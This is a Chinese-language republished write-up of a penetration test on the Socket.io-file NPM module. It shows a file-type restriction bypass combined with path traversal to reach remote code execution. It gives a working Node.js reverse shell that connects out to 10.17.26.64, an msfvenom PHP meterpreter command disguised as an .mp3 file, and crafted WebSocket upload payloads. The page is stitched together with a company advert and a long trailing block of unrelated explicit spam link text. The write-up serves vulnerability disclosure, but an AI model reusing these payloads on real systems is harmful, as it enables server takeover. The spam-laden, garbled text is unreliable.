如何實(shí)現(xiàn)Socket.io-fileNPM模塊中的文件類型限制繞過(guò)漏洞分析

如何實(shí)現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過(guò)漏洞分析,針對(duì)這個(gè)問(wèn)題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問(wèn)題的小伙伴找到更簡(jiǎn)單易行的方法。

創(chuàng)新互聯(lián)公司專注于恒山企業(yè)網(wǎng)站建設(shè),響應(yīng)式網(wǎng)站開(kāi)發(fā),成都商城網(wǎng)站開(kāi)發(fā)。恒山網(wǎng)站建設(shè)公司,為恒山等地區(qū)提供建站服務(wù)。全流程按需制作網(wǎng)站,專業(yè)設(shè)計(jì),全程項(xiàng)目跟蹤,創(chuàng)新互聯(lián)公司專業(yè)和態(tài)度為您提供的服務(wù)

寫(xiě)在前面的話

在一次滲透測(cè)試過(guò)程中,我們所面對(duì)的應(yīng)用程序安全系數(shù)比較高,沒(méi)有存在太多的錯(cuò)誤配置,因此簡(jiǎn)單分析并沒(méi)有發(fā)現(xiàn)安全問(wèn)題。但是深入分析后,我們發(fā)現(xiàn)了一個(gè)運(yùn)行在嵌入式設(shè)備上的Web應(yīng)用程序。這個(gè)Web應(yīng)用程序使用了WebSocket來(lái)實(shí)現(xiàn)服務(wù)器和客戶端之間的通信,為了使用WebSocket,后端系統(tǒng)可以選擇的技術(shù)有很多種,而這里使用的是Socket.io。

這個(gè)應(yīng)用程序的主要功能之一就是文件上傳,這也是它選擇使用Socket.io-file NPM模塊的原因。總而言之,這里存在一個(gè)路徑遍歷漏洞,將允許我們上傳文件到任意系統(tǒng)路徑中,并讓W(xué)eb服務(wù)器運(yùn)行該文件。

如果我們可以修改ssh_config、/etc/passwd或/etc/shadow文件的話,那么這個(gè)漏洞就相當(dāng)于是一個(gè)遠(yuǎn)程代碼執(zhí)行漏洞了,但這只能通過(guò)root權(quán)限來(lái)實(shí)現(xiàn),因此我們需要想辦法利用低權(quán)限用戶來(lái)實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。

通過(guò)研究之后,我們?cè)赟ocket.io-file模塊中找到了一個(gè)文件類型限制繞過(guò)漏洞。在該漏洞的幫助下,我們可以繞過(guò)模塊配置文件中的文件類型限制。這樣一來(lái),我們就可以上傳任意文件類型,然后通過(guò)修改底層配置文件來(lái)上傳適當(dāng)?shù)腟hell,以實(shí)現(xiàn)底層系統(tǒng)的遠(yuǎn)程代碼執(zhí)行。

除此之外,Socket.io-file的上傳功能也存在對(duì)輸入數(shù)據(jù)處理和驗(yàn)證邏輯不正確的問(wèn)題,這些分布在代碼的各個(gè)地方。而攻擊者將能夠利用該問(wèn)題繞過(guò)上傳文件類型的限制,將所選的文件類型上傳到底層系統(tǒng)中。

漏洞描述

Socket.io-file的默認(rèn)配置下,提供了一個(gè)由WebSocket處理的上傳功能。當(dāng)用戶嘗試通過(guò)Web應(yīng)用程序上傳一個(gè)文件時(shí),將會(huì)創(chuàng)建下列客戶端請(qǐng)求以實(shí)現(xiàn)文件創(chuàng)建:

如何實(shí)現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過(guò)漏洞分析

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

為了在底層系統(tǒng)創(chuàng)建該文件,Socket.io-file的index.js代碼將會(huì)被執(zhí)行,下列代碼將會(huì)檢測(cè)文件的類型并執(zhí)行后續(xù)操作:

let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));

return sendError(err);

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);

}

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj);

self.emit('complete', emitObj);

比如說(shuō),如果用戶上傳了一個(gè)名為“testfile.mp3”的文件,那么應(yīng)用程序?qū)?chuàng)建一個(gè)新的.mp3文件,由于錢(qián)買(mǎi)你的代碼只會(huì)在客戶端進(jìn)行檢測(cè)(WebSocket請(qǐng)求創(chuàng)建之前),那么我們就可以攔截上傳請(qǐng)求,并以應(yīng)用程序修改文件名的方式來(lái)修改創(chuàng)建文件的文件類型。下面給出的是漏洞利用樣例:

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]

為了繞過(guò)客戶端限制,我們還需要將原始文件的文件類型修改問(wèn)Web應(yīng)用程序允許的文件類型。攔截請(qǐng)求之后,我們需要將文件類型修改為原始類型(.php),這樣服務(wù)器端就不會(huì)進(jìn)行檢測(cè)了。接下來(lái),我們就可以在底層系統(tǒng)創(chuàng)建一個(gè).php文件了,這樣也就實(shí)現(xiàn)了文件類型檢測(cè)繞過(guò)。

除此之外,我們還可以結(jié)合路徑遍歷漏洞來(lái)執(zhí)行攻擊,我們繼續(xù)往下看。

結(jié)合多個(gè)漏洞實(shí)現(xiàn)RCE

既然我們可以向任意服務(wù)器目錄上傳任意文件,那么我們就可以在特定配置下,在底層系統(tǒng)實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行了。

場(chǎng)景1:修改配置文件

首先,我們可以修改配置文件,向Web服務(wù)器中添加惡意JavaScript代碼庫(kù),然后修改index.html來(lái)加載惡意js腳本,即添加一個(gè)<script>標(biāo)簽來(lái)引入js文件,或直接把js代碼拷貝進(jìn)去。

接下來(lái),我們就可以上傳一個(gè)js文件(服務(wù)器將會(huì)在index.html文件中加載該腳本),該文件中包含的代碼如下:

(function(){

var net = require(“net”),

cp = require(“child_process”),

sh = cp.spawn(“/bin/sh”, []);

var client = new net.Socket();

client.connect(8080, “10.17.26.64”, function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/; // Prevents the Node.js application from crashing

})();

需要注意的是,這個(gè)反向Shell只能在包含錯(cuò)誤配置的Node.js環(huán)境中執(zhí)行。通過(guò)修改監(jiān)聽(tīng)器的IP地址和端口號(hào),我們就可以獲取到反向Shell了,并在底層系統(tǒng)實(shí)現(xiàn)命令執(zhí)行。

場(chǎng)景2:利用特定漏洞即錯(cuò)誤配置

我們存在漏洞的模塊中包含了大量不同的配置項(xiàng),其中一個(gè)就是允許node.js服務(wù)器運(yùn)行PHP。當(dāng)然了,現(xiàn)在也有很多多用途服務(wù)器支持這種功能,而這種漏洞利用起來(lái)也相對(duì)簡(jiǎn)單。

我們可以使用msfvenom創(chuàng)建一個(gè)PHP反向Shell,然后執(zhí)行下列命令:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3

如何實(shí)現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過(guò)漏洞分析

該命令將創(chuàng)建一個(gè)php文件,當(dāng)服務(wù)器執(zhí)行該文件時(shí),便能夠給我們提供一個(gè)反向Shell。此時(shí),結(jié)合之前的漏洞上傳文件,我們需要修改上傳WebSocket請(qǐng)求:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

如何實(shí)現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過(guò)漏洞分析

該命令將把我們的文件上傳至服務(wù)器端的公共文件夾,使用瀏覽器進(jìn)入該目錄,我們就可以執(zhí)行PHP Shell,并在我們的攻擊設(shè)備上獲取到反向Shell了:

如何實(shí)現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過(guò)漏洞分析

漏洞復(fù)現(xiàn)

為了復(fù)現(xiàn)該漏洞,我們需要執(zhí)行下列操作:

  • 設(shè)置一個(gè)代理來(lái)攔截HTTP和WebSocket請(qǐng)求;

  • 創(chuàng)建一個(gè)Web應(yīng)用程序允許的文件類型;

  • 使用io-file上傳一個(gè)文件,并攔截WebSocket請(qǐng)求;

  • 根據(jù)文件類型修改請(qǐng)求中的“name”參數(shù)值:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

上述命令將會(huì)在當(dāng)前用戶的date目錄中創(chuàng)建一個(gè)testfile.php文件,我們的測(cè)試服務(wù)器存儲(chǔ)文件路徑為/home/ubuntutest/Documents/socket-app/data。

關(guān)于如何實(shí)現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過(guò)漏洞分析問(wèn)題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒(méi)有解開(kāi),可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

分享標(biāo)題:如何實(shí)現(xiàn)Socket.io-fileNPM模塊中的文件類型限制繞過(guò)漏洞分析
分享URL:http://m.kartarina.com/article42/pihjec.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站設(shè)計(jì)軟件開(kāi)發(fā)定制網(wǎng)站網(wǎng)頁(yè)設(shè)計(jì)公司網(wǎng)站內(nèi)鏈外貿(mào)建站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

微信小程序開(kāi)發(fā)
主站蜘蛛池模板: 亚洲精品无码不卡在线播HE| 永久无码精品三区在线4| 亚洲av无码专区国产乱码在线观看 | 秋霞鲁丝片无码av| 成人无码区免费A∨直播| 熟妇人妻中文字幕无码老熟妇| 国模无码视频一区| 少妇无码一区二区二三区| 色综合久久久无码中文字幕| 无码精品A∨在线观看| 亚洲国产综合无码一区二区二三区 | 国产精品成人一区无码| 亚洲国产精品无码成人片久久| 国产成人无码AV片在线观看 | 国产av永久无码天堂影院| 久久久久亚洲AV无码去区首 | 无码人妻丰满熟妇区96| 亚洲av无码无在线观看红杏| 曰韩无码无遮挡A级毛片| 欧洲无码一区二区三区在线观看| 波多野结衣AV无码| 中文字幕无码视频专区| MM1313亚洲精品无码久久| 精品多人p群无码| 无码精品人妻一区二区三区免费看| 五月婷婷无码观看| 无码欧精品亚洲日韩一区夜夜嗨 | 免费无码又爽又黄又刺激网站| 亚洲久热无码av中文字幕| 久久精品无码专区免费东京热| 国产热の有码热の无码视频| 成人无码a级毛片免费| 一本加勒比hezyo无码专区| 成年无码av片在线| 国产精品99久久久精品无码 | 国产亚洲人成无码网在线观看| 中文字幕久无码免费久久 | 免费无码一区二区| 亚洲中文字幕无码爆乳av中文| 日韩aⅴ人妻无码一区二区| 国产丝袜无码一区二区视频|